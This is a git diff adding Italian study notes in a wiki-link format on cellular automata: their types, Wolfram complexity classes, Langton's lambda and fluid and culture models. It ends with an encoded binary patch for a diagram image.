+++ b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare booleano.md	
@@ -0,0 +1,3 @@
+[[automa cellulare]] le cui [[cella di un automa cellulare|celle]] possono essere in due [[stato di una cella|stati]]:
+- <span style="color: green;">morte</span> o <span style="color: green;">quiescienti</span> o $\color{green} 0$
+- <span style="color: lime;">vive</span> o <span style="color: lime;">attive</span> o $\color{lime} 1$
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare continuo spaziale.md b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare continuo spaziale.md
new file mode 100644
index 0000000..1c77439
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare continuo spaziale.md	
@@ -0,0 +1 @@
+[[automa cellulare continuo]] con [[spazio]] e [[tempo]] continui invece che quantizzati.
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare continuo.md b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare continuo.md
new file mode 100644
index 0000000..b9ed11a
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare continuo.md	
@@ -0,0 +1 @@
+[[automa cellulare]] con valori [[numero reale|reali]] come [[stato di una cella|stati]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare invertibile.md b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare invertibile.md
new file mode 100644
index 0000000..0b75b34
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare invertibile.md	
@@ -0,0 +1,5 @@
+[[automa cellulare]] [[biiettivo]].
+
+Significa che ogni possibile pattern ha un solo pattern da cui potrebbe essersi originato.
+
+È [[decidibilità|decidibile]] se un automa è invertibile solo negli automi cellulari [[1D]], e non in quelli [[2D]] o più complessi.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare legale.md b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare legale.md
new file mode 100644
index 0000000..65a54a8
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare legale.md	
@@ -0,0 +1 @@
+[[automa cellulare]] che non altera lo [[stato di una cella|stato]] <span style="color: green;">quiesciente</span> delle [[cella di un automa cellulare|celle]] con vicinato interamente <span style="color: green;">quiesciente</span>.
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare partizionante.md b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare partizionante.md
new file mode 100644
index 0000000..645c36c
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare partizionante.md	
@@ -0,0 +1,9 @@
+---
+aliases:
+  - automa cellulare a blocchi
+---
+
+
+[[automa cellulare]] il cui [[vicinato di un automa cellulare|vicinato]] è determinato formando insiemi di [[cella di un automa cellulare|celle]] potenzialmente diversi ad ogni iterazione.
+
+Equivalente ad un [[automa cellulare|automa cellulare deterministico]] con più [[stato di una cella|stati]] e [[vicinato di un automa cellulare|vicinato]] più grande.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare probabilistico.md b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare probabilistico.md
new file mode 100644
index 0000000..b6d908f
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare probabilistico.md	
@@ -0,0 +1,7 @@
+---
+aliases:
+  - automa cellulare stocastico
+---
+
+
+[[automa cellulare]] con una [[regola di transizione]] probabilistica.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare totalistico.md b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare totalistico.md
new file mode 100644
index 0000000..dcfeb2a
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare totalistico.md	
@@ -0,0 +1,5 @@
+[[automa cellulare deterministico]] la cui [[regola di transizione]] usa la somma dei valori numerici degli [[stato di una cella|stati]] dei vicini per determinare lo stato successivo.
+
+## Esempi
+
+- Il [[Game of Life]] è totalistico, in quanto somma il numero di celle <span style="color: lime;">vive</span>.
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare.md b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare.md
new file mode 100644
index 0000000..1470d89
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/automa cellulare.md	
@@ -0,0 +1,15 @@
+[[sistema complesso]] artificiale.
+
+È composto da tante [[cella di un automa cellulare|celle]] uniformi disposte a [[reticolo di un automa cellulare|reticolo]] e da una [[regola di transizione|regola]] che le controlla.
+
+## Storia
+
+Creati da [[von Neumann]] per determinare se l'[[auto-replicazione]] fosse possibile all'interno di un [[sistema complesso]].
+
+## Utilizzi
+
+Gli automi cellulari sono principalmente utilizzati per i seguenti scopi:
+- modellare e studiare i [[sistema complesso|sistemi complessi]]
+	- fluidodinamica
+	- sistema cardiaco
+- intrattenimento
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/breeder.md b/8 - Sistemi complessi/3 - Automi cellulari/breeder.md
new file mode 100644
index 0000000..65c907c
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/breeder.md	
@@ -0,0 +1 @@
+[[Pattern]] di [[cella di un automa cellulare|celle]] che si espande a velocità quadratica nel vuoto.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/cella di un automa cellulare.md b/8 - Sistemi complessi/3 - Automi cellulari/cella di un automa cellulare.md
new file mode 100644
index 0000000..3eaab54
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/cella di un automa cellulare.md	
@@ -0,0 +1,7 @@
+[[parte di un sistema complesso|Parte]] di un [[automa cellulare]].
+
+Può trovarsi in uno dei vari [[stato di una cella|stati]] disponibili nell'[[automa cellulare]] trattato.
+
+Applicando il [[vicinato di un automa cellulare|vicinato]] a una cella, si ottengono i suoi *vicini*.
+
+Unendo la [[regola di transizione]] a una cella, si ottiene un [[automa a stati finiti elementare]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/classe 1 di Wolfram.md b/8 - Sistemi complessi/3 - Automi cellulari/classe 1 di Wolfram.md
new file mode 100644
index 0000000..4d36cf2
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/classe 1 di Wolfram.md	
@@ -0,0 +1,11 @@
+[[classe di complessità di Wolfram]] per gli [[automa cellulare booleano|automi cellulari booleani]] [[1D]] che **convergono a uno stato finale immobile**.
+
+## Studio delle perturbazioni
+
+Le perturbazioni non si propagano.
+## Esempi
+
+- [[regola 0 di Wolfram]]
+- [[regola 32 di Wolfram]]
+- [[regola 160 di Wolfram]]
+- [[regola 250 di Wolfram]]
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/classe 2 di Wolfram.md b/8 - Sistemi complessi/3 - Automi cellulari/classe 2 di Wolfram.md
new file mode 100644
index 0000000..964fbf8
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/classe 2 di Wolfram.md	
@@ -0,0 +1,12 @@
+[[classe di complessità di Wolfram]] per gli [[automa cellulare booleano|automi cellulari booleani]] [[1D]] che **convergono a una sequenza [[periodo|periodica]]**.
+
+## Studio delle perturbazioni
+
+Le perturbazioni si propagano localmente.
+
+## Esempi
+
+- [[regola 4 di Wolfram]]
+- [[regola 108 di Wolfram]]
+- [[regola 216 di Wolfram]]
+- [[regola 232 di Wolfram]]
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/classe 3 di Wolfram.md b/8 - Sistemi complessi/3 - Automi cellulari/classe 3 di Wolfram.md
new file mode 100644
index 0000000..58d3b2e
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/classe 3 di Wolfram.md	
@@ -0,0 +1,9 @@
+[[classe di complessità di Wolfram]] per gli [[automa cellulare booleano|automi cellulari booleani]] [[1D]] che **hanno comportamento [[caos|caotico]]**.
+
+## Studio delle perturbazioni
+
+Le perturbazioni si propagano in tutto lo spazio disponibile.
+
+## Esempi
+
+- [[regola 126 di Wolfram]]
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/classe 4 di Wolfram.md b/8 - Sistemi complessi/3 - Automi cellulari/classe 4 di Wolfram.md
new file mode 100644
index 0000000..0f44c67
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/classe 4 di Wolfram.md	
@@ -0,0 +1,9 @@
+[[classe di complessità di Wolfram]] per gli [[automa cellulare booleano|automi cellulari booleani]] [[1D]] che **hanno comportamento sia [[ordine spontaneo|ordinato]], sia [[caos|caotico]]**.
+
+## Studio delle perturbazioni
+
+Le perturbazioni si propagano in vari modi.
+
+## Esempi
+
+- [[regola 110 di Wolfram]]
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/classe di complessità di Wolfram.md b/8 - Sistemi complessi/3 - Automi cellulari/classe di complessità di Wolfram.md
new file mode 100644
index 0000000..7436c58
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/classe di complessità di Wolfram.md	
@@ -0,0 +1,9 @@
+[[Classificazione]] **qualitativa** [[macroscopico|macroscopica]] del comportamento di una [[regola di Wolfram]].
+
+Le classificazioni possibili sono:
+- [[classe 1 di Wolfram]]
+- [[classe 2 di Wolfram]]
+- [[classe 3 di Wolfram]]
+- [[classe 4 di Wolfram]]
+
+La [[lambda di Langton]] fornisce una ulteriore misura qualitativa per correlare classe di complessità ad una corrispondente [[regola di Wolfram]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/giardino dell'Eden.md b/8 - Sistemi complessi/3 - Automi cellulari/giardino dell'Eden.md
new file mode 100644
index 0000000..2fccd01
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/giardino dell'Eden.md	
@@ -0,0 +1 @@
+[[Pattern]] di un [[automa cellulare]] senza un [[pattern]] da cui può essersi originato.
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/gun.md b/8 - Sistemi complessi/3 - Automi cellulari/gun.md
new file mode 100644
index 0000000..b84c683
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/gun.md	
@@ -0,0 +1 @@
+[[Pattern]] di [[cella di un automa cellulare|celle]] che emette [[periodo|periodicamente]] delle [[spaceship]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/lambda di Langton.md b/8 - Sistemi complessi/3 - Automi cellulari/lambda di Langton.md
new file mode 100644
index 0000000..b6ecf09
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/lambda di Langton.md	
@@ -0,0 +1,23 @@
+Misura **qualitativa** [[microscopico|microscopica]] che aiuta ad anticipare le possibili [[classe di complessità di Wolfram|classi di complessità]] di un [[automa cellulare totalistico]] [[1D]] a partire dalla [[regola di transizione]].
+
+## Formula
+
+$$
+\def \varK {{\color{lime} k}}
+\def \varN {{\color{royalblue} n}}
+\def \varNQ {{\color{green} n_q}}
+
+\Large
+\lambda = 1 - \frac{\varNQ}{\varK ^ \varN}
+$$
+Dove:
+- $\color{royalblue} n$ · numero di [[cella di un automa cellulare|celle]] nel [[vicinato di un automa cellulare|vicinato]]
+- $\color{green} n_q$ · numero di [[stato di una cella|stati]] output quiescienti della [[regola di transizione]]
+- $\color{lime} k$ · numero di [[stato di una cella|stati]] totali della [[regola di transizione]]
+
+## Output
+
+- Valori bassissimi indicano una probabile [[classe 1 di Wolfram]]
+- Valori bassi indicano una probabile [[classe 2 di Wolfram]]
+- Valori medi indicano una probabile [[classe 2 di Wolfram]], [[classe 3 di Wolfram]], o una possibile **[[classe 4 di Wolfram]]**
+- Valori alti indicano una probabile [[classe 3 di Wolfram]]
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/metodo reticolare di Boltzmann.md b/8 - Sistemi complessi/3 - Automi cellulari/metodo reticolare di Boltzmann.md
new file mode 100644
index 0000000..9839cc5
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/metodo reticolare di Boltzmann.md	
@@ -0,0 +1 @@
+#TODO Matematica molto brutta. Pls no.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/modello Axelrod.md b/8 - Sistemi complessi/3 - Automi cellulari/modello Axelrod.md
new file mode 100644
index 0000000..776e047
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/modello Axelrod.md	
@@ -0,0 +1,9 @@
+[[automa cellulare]] che modella la diffusione della cultura in presenza di tratti comuni tra gli individui che ne facilitano la socializzazione.
+
+## Cenni del funzionamento
+
+- Esistono varie culture.
+- Esistono una serie di caratteristiche ("chiave").
+- Ogni cultura ha un tratto ("valore") per ciascuna caratteristica.
+- [[regola di transizione|A ogni passo]], vengono selezionate due culture adiacenti, e se esse condividono almeno un tratto, un altro tratto casuale viene reso omogeneo tra le due.
+- Le culture si omogeneizzano nel tempo, fino a raggiungere culture con tratti radicalmente diversi e irriconciliabili.
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/modello FHP con particelle velocità zero.md b/8 - Sistemi complessi/3 - Automi cellulari/modello FHP con particelle velocità zero.md
new file mode 100644
index 0000000..9e27a7a
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/modello FHP con particelle velocità zero.md	
@@ -0,0 +1,3 @@
+[[automa cellulare]] successore del [[modello FHP]].
+
+Introduce particelle di velocità zero, rendendolo interamente equivalente alle [[equazioni di Navier-Stokes per fluidi non-comprimibili]].
\ No newline at end of file
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/modello FHP.md b/8 - Sistemi complessi/3 - Automi cellulari/modello FHP.md
new file mode 100644
index 0000000..04a26ca
--- /dev/null
+++ b/8 - Sistemi complessi/3 - Automi cellulari/modello FHP.md	
@@ -0,0 +1,5 @@
+[[automa cellulare]] successore del [[modello HPP]].
+
+Utilizza un [[reticolo di un automa cellulare|reticolo]] [[reticolo esagonale|esagonale]] invece che uno quadrato.
+
+È molto più complesso, in quanto è possibile che si verifichino collisioni tra tre particelle.
diff --git a/8 - Sistemi complessi/3 - Automi cellulari/modello HPP · regola di transizione.png b/8 - Sistemi complessi/3 - Automi cellulari/modello HPP · regola di transizione.png
new file mode 100644
index 0000000000000000000000000000000000000000..3ad8c6762742899759359e5809dc81c24882b7e8
GIT binary patch
literal 30332
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
